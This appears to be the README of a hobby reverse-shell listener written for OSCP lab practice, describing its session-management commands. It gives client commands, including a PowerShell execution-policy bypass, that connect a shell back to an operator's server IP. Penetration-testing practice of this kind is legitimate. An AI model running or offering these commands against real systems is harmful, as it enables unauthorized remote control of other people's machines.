Python server that receives shell connections from remote devices.
Remote devices can be managed from a Command Line Interface (CLI).
While running, lstnr.py writes to a log file in the directory it is ran in.
This is only for testing purposes, not intended for anything illegal. I was testing out ways to manage multiple connections while doing the OSCP labs. #Hobbies
git clone github.com/bwithe/LSNTR
cd lstnr
- Start LSTNR
python3 lstnr.py -p <PORT_TO_LISTEN>
- MENU COMMANDS
list-sessions
orls
: lists connected clientsconnect-session <ID>
orcs <ID>
: connects to that sessionkill-session <ID>
orks <ID>
: will terminate a session per idkill-lstnr
orexit
: will terminate all sessions and stop the script (currently working out bugs when shutting down)
- SESSION COMMANDS
bg-session
orbs
: backgrounds the active sessionkill-session
orks
: while in a session will terminate it
- Have CLIENT connect to LSTNR
-
Linux / MacOS
bash client.sh -p <LSTNR_SERVER_PORT> -s <LSTNR_SERVER_IP>
python3 client.py -p <LSTNR_SERVER_PORT> -s <LSTNR_SERVER_IP>
-
Windows
powershell -ep bypass .\client.ps1 -p <LSTNR_SERVER_PORT> -s <LSTNR_SERVER_IP>
-
- If you are having issues closing the LSTNR
lstnr_pid=$(ps aux | grep lstnr | egrep -v 'grep' | awk '{print $2}')
kill -9 $lstnr_pid